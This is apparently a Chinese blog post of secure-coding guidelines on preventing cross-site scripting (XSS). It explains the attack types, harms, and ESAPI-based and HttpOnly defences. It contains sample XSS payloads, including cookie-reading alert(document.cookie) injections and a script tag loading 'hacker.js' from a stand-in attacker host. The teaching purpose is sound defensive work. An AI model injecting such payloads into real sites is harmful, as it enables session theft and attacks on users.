开发安全规约(二)——防止跨站脚本攻击

什么是跨站脚本攻击?

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是Web应用程序一种常见的攻击方式。它是指在服务器未严格验证输入输出时,网站容易被攻击者注入恶意代码,当其他用户访问这些携带恶意代码的网站时,就会遭受攻击。因此,XSS是一种间接攻击技术,不直接攻击Web服务器,而是以其为跳板攻击用户。

跨站脚本攻击的分类

按攻击类型分类:

  • 反射型:攻击者构造含有恶意代码的链接,诱导用户点击,请求到达服务器后,若未对输入输出严格验证,恶意代码会被反射给用户运行,使用户遭受攻击。

    反射型XSS

  • 存储型:攻击者构造含有恶意代码数据的请求提交给服务器,若在数据存储到数据库以及从库中读取显示给用户的过程中,未对输入输出严格验证,恶意代码数据将被存到数据库中,且所有访问到该恶意代码数据的用户均遭受攻击。

    存储型XSS

  • DOM型:随着单页面应用的发展,越来越多Web应用依赖锚点(#userinfo/jack)来实现页面路由跳转。这也带来新的DOM型XSS,如:#userinfo/<script>alert(document.cookie)<script>,该攻击与反射型类似,但不经过服务器反射,直接在用户端执行。详见:https://www.oschina.net/translate/dom-based-xss-of-third-kind


按注入位置分类:

  • 标签体内<div class="username">join<ScRipt sRc="https://xxx/hacker.js"></scRiPt></div>

  • 标签的属性<img class="anchor" src=" x" onerror="alert(document.cookie); ">

  • JavaScript数据域<script>var res_data = " data";alert(document.cookie); // ";<script>

  • URL参数<a href=" product.jsp?id=123"></a><script src="hacker.js"></script><a href=" " ></a>

  • CSS参数:*body { backgroud-image: url(" javascript: alert(document.cookie) "); }

跨站脚本攻击的利用及危害

  • 身份盗用。Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户的cookie被窃取,将会对网站引发巨大的危害。

  • 钓鱼欺骗。在页面中伪造一个登录或支付页面,欺骗用户输入账户密码信息,实现窃取用户敏感信息。

  • 网站挂马。攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马攻击。

  • 蠕虫攻击。伪造请求,主动攻击更多用户、窃取敏感数据、发表非法评论、进行DDoS攻击,最终导致服务器瘫痪。

跨站脚本攻击的防护

服务端防范方法:

  • 对用户的输入输出进行过滤。推荐使用OWASP开源项目 ESAPI 对用户的输入输出进行过滤(官网下载API文档):

    • 针对标签内HTML:ESAPI.encoder().encodeForHTML( html )
    • 针对标签属性防护:ESAPI.encoder().encodeForHTMLAttribute( attr )
    • 针对JavaScript域:ESAPI.encoder().encoderForJavaScript( jscode )
    • 针对URL参数防护:ESAPI.encoder().encodeForURL( url )
    • 针对CSS参数防护:ESAPI.encoder().encoderForCSS( css )
  • Cookie设置HttpOnly和有效期。当Cookie设置为HttpOnly时,Cookie无法通过脚本读取,即使不小心中了XSS攻击,也不会被盗用身份。设置有效期后,万一Cookie泄露,可避免会话被长期盗用。

  • 限制用户输入数据长度和数据格式。恶意代码一般比正常数据长,限制字符长度,能有效防止危害较大的XSS攻击。当数据有固定格式时,拦截不符合格式的数据,能有效防止XSS攻击,还能提升应用健壮性。

  • 对用户的输入输出进行转义


客户端防范方法:

  • 慎重点击网页链接。只点击可信任网站域内链接,不点击指向其它网站的链接。浏览邮件、论坛文章、留言板留言时提高安全意识,可有效防范跨站脚本攻击。

  • 提高浏览器安全等级。及时升级浏览器,必要时在浏览器上禁用 JavaScript脚本的运行、限制操作 cookie的权限。此外,尽量采用主流Chrome、FireFox、Safari等浏览器,此类浏览器可检测部分跨站脚本攻击,更为安全。

  • 开启终端安全防护。即使跨站脚本被浏览器解释执行,终端上安装的防病毒系统、防火墙等安全软件,可拦截和阻止网页挂马等后续攻击行为。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,122评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,070评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,491评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,636评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,676评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,541评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,292评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,211评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,655评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,846评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,965评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,684评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,295评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,894评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,012评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,126评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,914评论 2 355

推荐阅读更多精彩内容